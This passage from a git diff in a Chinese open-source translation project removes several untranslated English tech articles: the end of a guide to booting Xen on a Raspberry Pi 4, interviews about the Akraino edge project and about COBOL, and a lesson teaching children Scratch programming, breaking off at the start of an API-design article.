serverip 192.168.0.1 - -setenv ipaddr 192.168.0.2 - -tftpb 0xC00000 boot2.scr - -source 0xC00000 -``` - -Where: - -``` -- serverip is the IP of your TFTP server - -- ipaddr is the IP of the RPi4 -``` - -Use mkimage to generate boot.scr and place it next to config.txt and u-boot.bin: - -``` -mkimage -T script -A arm64 -C none -a 0x2400000 -e 0x2400000 -d boot.source boot.scr -``` - -Where: - -``` -- boot.source is the input - -- boot.scr is the output -``` - -UBoot will automatically execute the provided boot.scr, which sets up the network and fetches a second script (boot2.scr) from the TFTP server. boot2.scr should come with all the instructions to load Xen and the other required binaries. You can generate boot2.scr using [ImageBuilder][8]. - -Make sure to use Xen 4.14 or later. The Linux kernel should be master (or 5.9 when it is out, 5.4-rc4 works.) The Linux ARM64 default config works fine as kernel config. Any 64-bit rootfs should work for Dom0. Use the device tree that comes with upstream Linux for RPi4 (**arch/arm64/boot/dts/broadcom/bcm2711-rpi-4-b.dtb**). RPi4 has two UARTs; the default is **bcm2835-aux-uart** at address **0x7e215040**. It is specified as “serial1” in the device tree instead of serial0. You can tell Xen to use serial1 by specifying on the Xen command line: - -``` -console=dtuart dtuart=serial1 sync_console -``` - - The Xen command line is provided by the **boot2.scr** script generated by ImageBuilder as “**xen,xen-bootargs**“. After editing **boot2.source** you can regenerate **boot2.scr** with **mkimage**: - -``` -mkimage -A arm64 -T script -C none -a 0xC00000 -e 0xC00000 -d boot2.source boot2.scr -``` - -## **Xen on Raspberry Pi 4: an easy button** - -Getting your hands dirty by building and booting Xen on Raspberry Pi 4 from scratch can be not only deeply satisfying but can also give you a lot of insight into how everything fits together on ARM. Sometimes, however, you just want to get a quick taste for what it would feel to have Xen on this board. This is typically not a problem for Xen, since pretty much every Linux distribution provides Xen packages and having a fully functional Xen running on your system is a mere “apt” or “zypper” invocation away. However, given that Raspberry Pi 4 support is only a few months old, the integration work hasn’t been done yet. The only operating system with fully integrated and tested support for Xen on Raspberry Pi 4 is [LF Edge’s Project EVE][9]. - -Project EVE is a secure-by-design operating system that supports running Edge Containers on compute devices deployed in the field. These devices can be IoT gateways, Industrial PCs, or general-purpose ruggedized computers. All applications running on EVE are represented as Edge Containers and are subject to container orchestration policies driven by k3s. Edge containers themselves can encapsulate Virtual Machines, Containers, or Unikernels.  - -You can find more about EVE on the project’s website at and its GitHub repo . The latest instructions for creating a bootable media for Raspberry Pi 4 are also available at:  - - - -Because EVE publishes fully baked downloadable binaries, using it to give Xen on Raspberry Pi 4 a try is as simple as: - -``` -$ docker pull lfedge/eve:5.9.0-rpi-xen-arm64 # you can pick a different 5.x.y release if you like - -$ docker run lfedge/eve:5.9.0-rpi-xen-arm64 live > live.raw -``` - -This is followed by flashing the resulting **live.raw** binary onto an SD card using your favorite tool.  - -Once those steps are done, you can insert the card into your Raspberry Pi 4, connect the keyboard and the monitor and enjoy a minimalistic Linux distribution (based on Alpine Linux and Linuxkit) that is Project EVE running as **Dom0** under Xen. - -As far as Linux distributions go, EVE presents a somewhat novel design for an operating system, but at the same time, it is heavily inspired by ideas from Qubes OS, ChromeOS, Core OS, and Smart OS. If you want to take it beyond simple console tasks and explore how to run user domains on it, we recommend heading over to EVE’s sister project Eden: and following a short tutorial over there. - -If anything goes wrong, you can always find an active community of EVE and Eden users on LF Edge’s Slack channels starting with #eve over at — we’d love to hear your feedback. - -In the meantime – happy hacking! - --------------------------------------------------------------------------------- - -via: https://www.linux.com/featured/xen-on-raspberry-pi-4-adventures/ - -作者:[Linux.com Editorial Staff][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/linuxdotcom/ -[b]: https://github.com/lujun9972 -[1]: https://twitter.com/stabellinist?lang=en -[2]: https://twitter.com/rhatr?lang=en -[3]: https://www.linux.com/wp-content/uploads/2020/09/xen_project_logo.jpg -[4]: https://help.ubuntu.com/community/TFTP -[5]: https://lancesimms.com/RaspberryPi/HackingRaspberryPi4WithYocto_Part1.html -[6]: https://www.raspberrypi.org/documentation/installation/installing-images/#:~:text=Using%20Raspberry%20Pi%20Imager,Pi%20Imager%20and%20install%20it -[7]: https://en.opensuse.org/HCL:Raspberry_Pi4 -[8]: https://wiki.xenproject.org/wiki/ImageBuilder -[9]: https://www.lfedge.org/projects/eve/ diff --git a/sources/tech/20201001 Akraino- An Open Source Project for the Edge.md b/sources/tech/20201001 Akraino- An Open Source Project for the Edge.md deleted file mode 100644 index 9fa671bed6..0000000000 --- a/sources/tech/20201001 Akraino- An Open Source Project for the Edge.md +++ /dev/null @@ -1,63 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Akraino: An Open Source Project for the Edge) -[#]: via: (https://www.linux.com/news/akraino-an-open-source-project-for-the-edge/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Akraino: An Open Source Project for the Edge -====== - -Akraino is an open-source project designed for the Edge community to easily integrate open source components into their stack. It’s a set of open infrastructures and application blueprints spanning a broad variety of use cases, including 5G, AI, Edge IaaS/PaaS, IoT, for both provider and enterprise Edge domains. We sat down with Tina Tsou, TSC Co-Chair of the Akraino project to learn more about it and its community. - -Here is a lightly edited transcript of the interview: - -Swapnil Bhartiya: Today, we have with us Tina Tsou, TSC Co-Chair of the Akraino project. Tell us a bit about the Akraino project. - -Tina Tsou: Yeah, I think Akraino is an Edge Stack project under Linux Foundation Edge. Before Akraino, the developers had to go to the upstream community to download the upstream software components and integrate in-store to test. With the blueprint ideas and concept, the developers can directly do the use-case base to blueprint, do all the integration, and [have it] ready for the end-to-end deployment for Edge. - -Swapnil Bhartiya: The blueprints are the critical piece of it. What are these blueprints and how do they integrate with the whole framework? - -Tina Tsou: Based on the certain use case, we do the community CI/CD ( continuous integration and continuous deployment). We also have proven security requirements. We do the community lab and we also do the life cycle management. And then we do the production quality, which is deployment-ready. - -Swapnil Bhartiya: Can you explain what the Edge computing framework looks like? - -Tina Tsou: We have four segments: Cloud, Telco, IoT, and Enterprise. When we do the framework, it’s like we have a framework of the Edge compute in general, but for each segment, they are slightly different. You will see in the lower level, you have the network, you have the gateway, you have the switches. In the upper of it, you have all kinds of FPGA and then the data plan. Then, you have the controllers and orchestration, like the Kubernetes stuff and all kinds of applications running on bare metal, virtual machines or the containers. By the way, we also have the orchestration on the site. - -Swapnil Bhartiya: And how many blueprints are there? Can you talk about it more specifically? -Tina Tsou: I think we have around 20-ish blueprints, but they are converged into blueprint families. We have a blueprint family for telco appliances, including Radio Edge Cloud, and SEBA that has enabled broadband access. We also have a blueprint for Network Cloud. We have a blueprint for Integrated Edge Cloud. We have a blueprint for Edge Lite IoT. So, in this case, the different blueprints in the same blueprint family can share the same software framework, which saves a lot of time. That means we can deploy it at a large scale. - -Swapnil Bhartiya: The software components, which you already talked about in each blueprint, are they all in the Edge project or there are some components from external projects as well? - -Tina Tsou: We have the philosophy of upstream first. If we can find it from the upstream community, we just directly take it from the upstream community and install and integrate it. If we find something that we need, we go to the upstream community to see whether it can be changed or updated there. - -Swapnil Bhartiya: How challenging or easy it is to integrate these components together, to build the stack? - -Tina Tsou: It depends on which group and family we are talking about. I think most of them at the middle level of middle are not too easy, not too complex. But the reference has to create the installation, like the YAML files configuration and for builds on ISO images, some parts may be more complex and some parts will be easy to download and integrate. - -Swapnil Bhartiya: We have talked about the project. I want to talk about the community. So first of all, tell us what is the role of TSC? - -Tina Tsou: We have a whole bunch of documentation on how TSA runs if you want to read. I think the role for TSC is more tactical steering. We have a chair and co-chair, and there are like 6-7 subcommittees for specific topics like security, technical community, CI and documentation process. - -Swapnil Bhartiya: What kind of community is there around the Akraino project? - -Tina Tsou: I think we have a pretty diverse community. We have the end-users like the telcos and the hyperscalers, the internet companies, and also enterprise companies. Then we have the OEM/ODM vendors, the chip makers or the SoC makers. Then have the IP companies and even some universities. - -Swapnil Bhartiya: Tina, thank you so much for taking the time today to explain the Akraino project and also about the blueprints, the community, and the roadmap for the project. I look forward to seeing you again to get more updates about the project. - -Tina Tsou: Thank you for your time. I appreciate it. --------------------------------------------------------------------------------- - -via: https://www.linux.com/news/akraino-an-open-source-project-for-the-edge/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 diff --git a/sources/tech/20201001 Bringing COBOL to the Modern World.md b/sources/tech/20201001 Bringing COBOL to the Modern World.md deleted file mode 100644 index 2eeb097f65..0000000000 --- a/sources/tech/20201001 Bringing COBOL to the Modern World.md +++ /dev/null @@ -1,101 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Bringing COBOL to the Modern World) -[#]: via: (https://www.linux.com/news/bringing-cobol-to-the-modern-world/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Bringing COBOL to the Modern World -====== - -COBOL is powering most of the critical infrastructure that involves any kind of monetary transaction. In this special interview conducted during the recent Open Mainframe Summit, we talked about the relevance of COBOL today and the role of the new COBOL working group that was announced at the summit. Joining us were Cameron Seay, Adjunct Professor at East Carolina University and Derek Lisinski of the Application Modernizing Group at Micro Focus. Micro Focus recently joined the Open Mainframe Project and is now also involved with the working group. - -Here is an edited version of the discussion: - -Swapnil Bhartiya: First of all, Cam and Derek, welcome to the show. If you look at COBOL, it’s very old technology. Who is still using COBOL today? Cam, I would like to hear your insight first. - -Cameron Seay: Every large commercial bank I know of uses COBOL. Every large insurance company, every large federal agency, every large retailer uses COBOL to some degree, and it processes a large percentage of the world’s financial transactions. For example, if you go to Walmart and you make a sale, that transaction is probably recorded using a COBOL program. So, it’s used a lot, a large percentage of the global business is still done in COBOL. - -Swapnil Bhartiya: Micro Focus is I think one of the few companies that offer support around COBOL. Derek, please tell people the importance of COBOL in today’s modern world. - -Derek Lisinski: Well, if we go back in time, there weren’t that many choices on the market. If you wanted robust technology to build your business systems, COBOL was one of the very few choices and so it’s surprising when there are so many choices around today and yet, many of the world’s largest industries, largest organizations still rely on COBOL. If COBOL wasn’t being used, so many of those systems that people trust and rely on — whether you’re moving money around, whether you’re running someone’s payroll, whether you’re getting insurance quotation, shipping a parcel, booking a holiday. All of these things are happening with COVID at the backend and the value you’re getting from that is not just that it’s carried on, but it runs with the same results again and again and again, without fail. - -The importance of COBOL is not just its pervasiveness, which I think is significant and perhaps not that well understood, but also it’s reliability. And because it’s welded very closely to the mainframe environments and to CICS and some other core elements of the mainframe and other platforms as well. It uses and trusts a lot of technology that is unrivaled in terms of its reliability, scalability and its performance. That’s why it remains so important to the global economy and to so many industries. It does what it needs to do, which is business processing, so fantastically well. - -Swapnil Bhartiya: Excellent, thanks for talking about that. Now, you guys recently joined the project and the foundation as well, so talk about why you joined the Open Mainframe Project and what are the projects that you will be involved with, of course. I know you’re involved with the working group, but talk about your involvement with the project. - -Derek Lisinski: Well, our initial interest with the Open Mainframe Project goes back a couple of years. We’re longtime proponents of the mainframe platform, of course, here at Micro Focus. We’ve had a range of technologies that run on z/OS. But our interest in the wider mainframe community—and that would be the Open Mainframe Project—probably comes as a result of the time we’ve spent with the SHARE community and other IBM-sponsored communities, where the discussion was about the best way to embrace this trusted technology in the digital era. This is becoming a very topical conversation and that’s also true for COBOL, which I’m sure we’ll come back to. - -Our interest in the OMP has been going on for the last couple of years and we were finally able to reach an agreement between both organizations to join the group this year, specifically because of a number of initiatives that we have going on at Micro Focus and that a number of our customers have talked to us about specifically in the area of mainframe DevOps. As vital as the mainframe platform is, there’s a growing desire to use it to deliver greater and greater value to the business, which typically means trying to accelerate delivery cycles and get more done. - -Of course, now the mainframe is so inextricably connected with other parts of the IT ecosystem that those points of connection and the number of moving parts have to be handled, integrated with, and managed as part of a delivery process. It’s an important part of our customers’ roadmap and, therefore, our roadmap to ensure that they get the very best of technology in the mainframe world. Whether it’s tried-and-trusted technology, whether it’s new emerging vendor technology, or whether in many cases, it becomes open source technology. We wanted to play our part in those kinds of projects and a number of initiatives around. - -Swapnil Bhartiya: Is there an increase in interest in COBOL that we are seeing there now that there is a dedicated working group? And if you can also talk a bit about what will be the role of this group. - -Cameron Seay: If your question was, is there an increased interest in working in COBOL because of the working group, the working group actually came as a result of a renewed interest in the written new discovery in COBOL. The governor of New Jersey made a comment that their unemployment was not able to be processed because of COBOL’s obsolescence, or inefficiency, or inadequacy to some degree. And that sparked quite a furor in the mainframe world because it wasn’t COBOL at all. COBOL had nothing to do with the inability of New Jersey to deliver the unemployment checks. Further, we’re aware that New Jersey is just typical of every state. Every state that I know of—there may be some exceptions I’m not aware of, I know it’s certainly true for California and New York—is dependent upon COBOL to process their day-to-day business applications. - -So, then Derek and some other people inside the OMP got together and started having some conversations, myself included, and said “We maybe need to form a COBOL working group to renew this interest in COBOL and establish the facts around COBOL.” So that’s kind of what the working group is trying to do, and we’re trying to increase that familiarity, visibility and interest in COBOL. - -Swapnil Bhartiya: Derek, I want to bring the same question to you also. Is there any particular reason that we are seeing an increase in interest in COBOL and what is that reason? - -Derek Lisinski: Yeah, that’s a great question and I think there are a few reasons. First of all, I think a really important milestone for COBOL was actually last year when it turned 60 years old. I think one of your earlier questions is related to COBOL’s age being 60. Of course, COBOL isn’t a 60-year-old language but the idea is 60 years old, for sure. If you drive a 2020 motor car, you’re driving a 2020 motor car, you’re not driving a hundred-year-old idea. No one thinks a modern telephone is an old idea, either. It’s not old technology, sorry. -The idea might’ve been from a long time ago, but the technology has advanced, and the same thing is true in code. But when we celebrated COBOL’s 60th anniversary last year—a few of the vendors did and a number of organizations did, too—there was an outpouring of interest in the technology. A lot of times, COBOL just quietly goes about its business of running the world’s economy without any fuss. Like I said, it’s very, very reliable and it never really breaks. So, it was never anything to talk about. People were sort of pleasantly surprised, I think, to learn of its age, to learn of the age of the idea. Now, of course, Micro Focus and IBM and some of the other vendors continue to update and adapt COBOL so that it continues to evolve and be relevant today. - -It’s actually a 2020 technology rather than a 1960 one, but that was the first one. Secondly, the pandemic caused a lot of businesses to have to change how they process core systems and how they interact with their customers. That put extra strain on certain organizations or certain government agencies and, in a couple of cases, COBOL was incorrectly made the scapegoat for some of the challenges that those organizations face, whether it was a skills issue or whether it was a technology issue. Under the cover, COBOL was working just fine. So the interest has been positive regarding the anniversary, but I think the reports have been inaccurate and perhaps a little unkind about COBOL. Those were the two reasons they came together. - -I remember when I first spoke to Cam and to some of the other people on the working group, you said it was a very good idea once and for all that we told the truth about COBOL, that the industry finally understood how viable it is, how valuable it is, based on the facts behind COBOL’s usage. So one of the things we’re going to do is try to quantify and qualify as best we can, how widely COBOL is used, what do you use it for, who is using, and then present a more factual story about the technology so people can make a more informed decision about technical strategy. Rather than base it on hearsay or some reputation about something being a bit rusty and out-of-date, which is probably the reputation that’s being espoused by someone who would have you replace it with something else, and their motivation might be for different reasons. There’s nothing wrong with COBOL and it’s very, very viable and our job I think really is to tell that truth and make sure people understand it, - -Swapnil Bhartiya: What other projects, efforts, or initiatives are going on there at the Linux Foundation or Open Mainframe Project around COBOL? Can you talk about that? - -Cameron Seay: Well, certainly. There is currently a course being developed by folks in the community who have developed an online course in COBOL. It’s the rudiments of it. It’s for novices, but it’s great for a continuing education program. So, that’s one of the things going on around COBOL. Another thing is there’s a lot going on in mainframe development in the OMP now. There’s an application framework that has been developed called Zoe that will allow you to develop applications for z/OS. It’s interesting that the focus of the Open Mainframe Project when it first began was Linux on the mainframe, but actually the first real project that came out of it was a z/OS-based product, Zoe, and so we’re interested in that, too. Those are just a couple of peripheral projects that the COBOL working group is going to work with. - -There are other things we want to do from a curriculum standpoint down the road, but fundamentally, we just want to be a fact-finding, fact-gathering operation first, and Derek Lisinski has been taking leadership and putting together a substantial reference list so that we can get the facts about COBOL. Then, we’re going to do other things, but that we want to get that right first. - -Swapnil Bhartiya: So there are as you mentioned a couple of projects. Is there any overlap between these projects or how different they are? Do they all serve a different purpose? It looks like when you’re explaining the goal and role of the working group, it sounds like it’s also the training or education group with the same kind of activities. Let me rephrase it properly: what are some of the pressing needs you see for the COBOL community, how are these efforts/groups are trying to help them, and how are they not overlapping or stepping on each other’s toes? - -Cameron Seay: That’s an ongoing thing. Susharshna and I really work hard to make sure that we’re not working at either across purposes or there’s duplication of effort. We’re kind of clear about our roles. For the world at large, for the public at large, the working group—and Derek may have a different view on this because we all don’t think alike, we all don’t see this thing exactly the same—but I see it as information first. We want people to get accurate current information about COBOL. - -Then, we want to provide some vehicle that COBOL can be reintroduced back into the general academic curriculum because it used to be. I studied COBOL at a four-year university. Most people did when they took programming in the ’80s and the ’90s, they took COBOL, but that’s not true anymore. Our COBOL course at East Carolina this semester is the only COBOL course in the entire USC system. That’s got to change. So information, exposure, accurate information exposure, and some kind of return to the general curriculum, those are the three things that we we can provide to the community at large. - -Swapnil Bhartiya: If you look at Micro Focus, you are working in the industry, you are actually solving the problem for your customers. What role do these groups or other efforts that are going on there play for the whole ecosystem? - -Derek Lisinski: Well, I think if we go back to Cam’s answer, I think he’s absolutely right that the industry, if you project forward another generation in 25 years’ time who are going to be managing these core business systems that currently still need to run the world’s largest organizations. I know we’re in a digital era and I know that things are changing at an unprecedented pace, but most of the world’s largest organizations, successful organizations still want to be in those positions in generations to come. So who is it? Who are those practitioners that are coming through the education system right now, who are going to be leaders in those organizations’ IT departments in the future? - -And there is a concern not just for COBOL, but actually, many IT skills across the board. Is there going to be enough talent to actually run the organizations of the future? And that’s true, it’s a true question mark about COBOL. So Micro Focus, which has its own academic initiative and its own training program as does IBM as do many of the other vendors, we all applaud the work of all community groups. The OMP is obviously a fabulous example because it is genuinely an open group. Genuinely, it’s a meritocracy of people with good ideas coming together to try to do the right thing. We applaud the efforts to ensure that there continues to be enough supply of talented IT professionals in the future to meet the growing and growing demand. IT is not going away. It’s going to become strategically more and more important to these organizations. - -Our part to play in Micro Focus is really to work shoulder-to-shoulder with organizations like the OMP because between us, we will create enough groundswell of training and opportunity for that next generation. Many people will tell you there just isn’t enough of that training going on and there aren’t enough of those opportunities available, even though one survey that Micro Focus ran last year on the back of the COBOL’s 60th anniversary suggests that around 92% of all application owners of COBOL systems confirmed that those applications remain strategic to their organization. So, if the applications are not going anywhere, who’s going to be looking after them in the next generation? And that’s the real challenge that I think the industry faces as a whole, which is why Micro Focus is so committed to get behind the wheel of making sure that we can make a difference. - -Swapnil Bhartiya: We discussed that the interest in COBOL is increasing as COBOL is playing a very critical role in the modern economy. What kind of future do you see for COBOL and where do you see it going? I mean, it’s been around for 60 years, so it knows how to survive through times. Still, where do you see it go? Cam, I would love to start with you. - -Cameron Seay: Yeah, absolutely. We are trying to estimate how much COBOL is actually in use. That estimate is running into hundreds of billions of lines of code. I know that, for example, Bank of America admits to at least 50 million lines of COBOL code. That’s a lot of COBOL, and you’re not going to replace it over time, there’s no reason to. So the solution to this problem, and this is what we’re going to do, is we’re going to figure out a way to teach people COBOL. It’s not a complex language to learn. Any organization that sees lack of COBOL skills as an impediment and justification to move to another platform is [employing] a ridiculous solution, that solution is not feasible. If they try to do that, they’re going to fail because there’s too much risk and, most of all, too much expense. - -So, we’re going to figure out a way to begin to teach people COBOL again. I do it, a COBOL class at East Carolina. That is a solution to this problem because the code’s not going anywhere nor is there a reason for it to go anywhere, it works! It’s a simple language, it’s as fast as it needs to be, it’s as secure as it needs to be, and no one that I’ve talked to, computer scientists all over the world, no one can give me any application, that any language is going to work better than COBOL. There may be some that work as good or nearly as good, but you’re going to have to migrate them, but there’s nothing, there’s no improvement that you can make on these applications from a performance standpoint and from a security standpoint. The applications are going to stay where they are, and we’re just going to have to teach people COBOL. That’s the solution, that’s what’s going to happen. How and when, I don’t know, but that’s what’s going to happen. - -Swapnil Bhartiya: If you look at the crisis that we were going through, almost everything, every business is moving online to the cloud. All those transactions that people are already doing in person are all moving online, so it has become critical. From your perspective, what kind of future do you see? - -Derek Lisinski: Well, that’s a great question because the world is a very, very different place to how architecture was designed however long ago. Companies of today are not using that architecture. So there is some question mark there about what’s COBOL’s future. I agree with Cam. Anyone that has COBOL is not necessarily going to be able to throw that away anytime soon because, frankly, it might be difficult. It might be easy, but that’s not really the question, is it? Is it a good business decision? The answer is it’s a terrible business decision to throw it away. - -In addition to that, I would contend that there are a number of modern-day digital use cases where actually the usage of COBOL is going to increase rather than decrease. We see this all the time with our larger organizations who are using it for pretty much the whole of the backend of their core business. So, whether it’s a banking organization or an insurer or a logistics company, what they’re trying to do obviously is find new and exciting business opportunities. - -But, upon which they will be basing their core business systems that already run most of the business today, and then trying to use that to adapt, to enhance, to innovate. There are insurers who are selling the insurance quotation system to other smaller insurances as a service. Now, of course, their insurance quotation system is probably the version that isn’t quite as quick as the one that runs on their mainframe, but they’re making that available as a service to other organizations. Banking organizations are doing much the same thing with a range of banking services, maybe payment systems. These are all services that can be provided to other organizations. - -The same is true in the ISB market where really, really robust COBOL-based financial services, packages, ERP systems, which are COBOL based, and they have been made available as cloud-based as-a-service packages or upon other platforms to meet new market needs. The thing about COBOL that few people understand is not only is it easy to learn, but it’s easy to move to somewhere else. So, if your client is now running Linux and it says, “Well, now I want it to run these core COBOL business systems there, too.” Well, maybe they’ve taken a move to AIX to a Power system, but the same COBOL system can be reused, replicated as necessary, which is a little known secret about the language. - -This goes back to the original design, of course. Back in the day, there was no such thing as the “standard platform” in 1960. There wasn’t a single platform that you could reasonably rely on that would give you a decent answer, not very quickly anyway. So, in order for us to know that COBOL works, we have to have the same results compiled about running on different machines. It needs to be the same result running at the same speed, and from that point, that’s when the portability of the system came to life. That’s what they set out to do, built that way by design. - -Swapnil Bhartiya: Cam, Derek, thank you so much for taking the time out today to talk about COBOL, how important it is in today’s world. I’m pretty sure that when we spend our whole day, some of the activities that we have done online touch COBOL or are powered by COBOL. --------------------------------------------------------------------------------- - -via: https://www.linux.com/news/bringing-cobol-to-the-modern-world/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 diff --git a/sources/tech/20201006 5 Scratch code blocks to teach kids how to program a video game.md b/sources/tech/20201006 5 Scratch code blocks to teach kids how to program a video game.md deleted file mode 100644 index e8c825d5e7..0000000000 --- a/sources/tech/20201006 5 Scratch code blocks to teach kids how to program a video game.md +++ /dev/null @@ -1,165 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 Scratch code blocks to teach kids how to program a video game) -[#]: via: (https://opensource.com/article/20/10/advanced-scratch) -[#]: author: (Jess Weichler https://opensource.com/users/cyanide-cupcake) - -5 Scratch code blocks to teach kids how to program a video game -====== -Advance your Scratch skills with loops, conditional statements, -collision detection, and more in this article in a series about teaching -kids to code. -![Binary code on a computer screen][1] - -In the second article in this series, you [created your first few video game scripts in Scratch][2]. This article explores ways to expand programming's possibilities to create more advanced code. - -There are multiple ways to introduce these skills to kids, such as: - - 1. Introduce a task or challenge that requires children to use the skill. Use inquiry to help them find the solution, then reinforce their discoveries with a formal explanation. - 2. Encourage free experimentation by having children come up with their own projects. As they work through their code, go over skills as needed. - 3. Introduce the skill, then have children experiment with it. - - - -No matter which one you choose, always remember that the most important part of learning coding is making mistakes. Even skilled programmers don't get it right every time or know every possible line of code. It works best when educators, pupils, and peers are all learning to code together as a team. - -There are [10 categories][3] of code blocks in Scratch; here is how to use some of the most common. - -### Loops - -_This is the code that doesn't end; yes, it goes on and on, my friend!_ **Forever loops** and **repeat blocks** in [Scratch][4] are what you need to repeat lines of code automatically. Any code blocks placed inside a loop block continue to run until the game is stopped or, if you're using a repeat block, the number is reached. - -![Loops in Scratch][5] - -(Jess Weichler, [CC BY-SA 4.0][6]) - -### Conditional statements - -**Conditional statements** run only if certain conditions are met. "If you're cold, then put on a sweater" is a real-world example of a conditional statement: you put a sweater on only if you determine that it's cold. - -There are four conditional statement code blocks in Scratch: - - * if ... then  - * if ... then ... else  - * wait until...  - * repeat until...  - - - -Any code blocks placed inside a conditional statement run only if the condition is met. - -![Conditional statement blocks in Scratch][7] - -(Jess Weichler, [CC BY-SA 4.0][6]) - -Notice the diamond shapes in each conditional statement code block; can you find any code blocks that might fit inside? - -Diamond-shaped code blocks can be used to complete any of the four conditional-statement blocks. You can find diamond-shaped blocks in the [Sensing][8] and [Operators][9] block categories. - -![Diamond-shaped blocks in Scratch][10] - -(Jess Weichler, [CC BY-SA 4.0][6]) - -### Collision-detection loop - -Sometimes you may want to check to see if your sprite is touching another sprite or a specific color. To do so, use a [**collision-detection loop**][11]. - -A collision-detection loop combines loops and conditional statements to constantly check whether the sprite is touching another sprite (for example, a coin sprite). - -![Collision-detection script in Scratch][12] - -(Jess Weichler, [CC BY-SA 4.0][6]) - -Inside the inner `if ... then` block, place the action you want to happen when the condition is met. - -This type of algorithm is a **collision-detection script**. Collision-detection scripts sense when two sprites or objects are touching. A basic collision-detection script uses four main code blocks: - - * Event hat - * Forever loop - * If … then - * Touching - - - -You can place more code blocks inside the `if ... then` block. These blocks will run only if the active sprite is touching the sprite listed in the `touching` block. - -Can you figure out how to make an object "hide" when it collides with another sprite? This is a common technique to indicate that, for instance, a sprite has eaten some food or has picked up an item. - -### Variables and math - -A **variable** is a placeholder for a value, usually a number, that you don't know yet. In math, using a variable might look something like this: `x+12=15`. - -![Variables in Scratch][13] - -(Jess Weichler, [CC BY-SA 4.0][6]) - -If that doesn't make sense to you, that's okay. I didn't understand variables until I started coding as an adult. - -Here is one example of how you might use a variable in code: - -![Variables in Scratch][14] - -(Jess Weichler, [CC BY-SA 4.0][6]) - -### Coordinates - -Scratch uses a coordinate graph to measure the screen. The exact middle of the screen has a value of 0,0. The length of the screen (X-axis) is -240 to 240, the height (Y-axis) is -180 to 180. - -The X and Y **coordinates** control where each sprite is on the screen, and you can code a sprite's X and Y coordinates to set a specific place using **[motion blocks][15]**. - -![Coordinates in Scratch][16] - -(Jess Weichler, [CC BY-SA 4.0][6]) - -### Put it all together - -Think about the basics of any game; what are some elements you usually need? - -Here are some examples: - - * A goal - * A way to win - * A way to lose - * An obstacle - * A scoring system - - - -With the techniques above, you have everything you need to create a playable game with these elements and more. - -There are still heaps of code blocks in Scratch that I haven't mentioned. Keep exploring the possibilities. If you don't know what a code block does, put it in a script to see what happens! - -Coming up with an idea for a game can be difficult. The great thing about the open source community, Scratchers included, is that we love to build upon one another's work. With that in mind, in the next article, I'll look at some of my favorite user-made projects for inspiration. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/advanced-scratch - -作者:[Jess Weichler][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cyanide-cupcake -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/binary_code_computer_screen.png?itok=7IzHK1nn (Binary code on a computer screen) -[2]: https://opensource.com/article/20/9/scratch -[3]: https://en.scratch-wiki.info/wiki/Categories -[4]: https://scratch.mit.edu/ -[5]: https://opensource.com/sites/default/files/uploads/codekids3_1.png (Loops in Scratch) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://opensource.com/sites/default/files/uploads/codekids3_2.png (Conditional statement blocks in Scratch) -[8]: https://en.scratch-wiki.info/wiki/Blocks#Sensing_blocks -[9]: https://en.scratch-wiki.info/wiki/Blocks#Operators_blocks -[10]: https://opensource.com/sites/default/files/uploads/codekids3_3.png (Diamond-shaped blocks in Scratch) -[11]: https://en.scratch-wiki.info/wiki/Making_Sprites_Detect_and_Sense_Other_Sprites -[12]: https://opensource.com/sites/default/files/uploads/codekids3_4.png (Collision-detection script in Scratch) -[13]: https://opensource.com/sites/default/files/uploads/codekids3_5.png (Variables in Scratch) -[14]: https://opensource.com/sites/default/files/uploads/codekids3_6.png (Variables in Scratch) -[15]: https://en.scratch-wiki.info/wiki/Motion_Blocks -[16]: https://opensource.com/sites/default/files/uploads/codekids3_7.png (Coordinates in Scratch) diff --git a/sources/tech/20201007 Design and document APIs using an open source cross-platform tool.md b/sources/tech/20201007 Design and document APIs using an open source cross-platform tool.md deleted file mode 100644 index 196df6ac22..0000000000 --- a/sources/tech/20201007 Design and document APIs using an open source cross-platform tool.md +++ /dev/null @@ -1,199 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Design and document APIs using an open source cross-platform tool) -[#]: via: (https://opensource.com/article/20/10/spec-first-development-apis) -[#]: author: (Greg Schier https://opensource.com/users/gregschier) - -Design and document APIs using an open source cross-platform tool -====== -Insomnia Designer makes spec-first development more accessible by -providing collaborative tools to organize, maintain, and validate API -specs. -![Computer laptop in space][1] - -In the world of software-as-a-service (SaaS) and service-based architectures, it's not uncommon for companies to maintain dozens or even hundreds of APIs, often spanning multiple teams, programming languages, and environments. This variability makes it extremely difficult to see what's happening at a high level 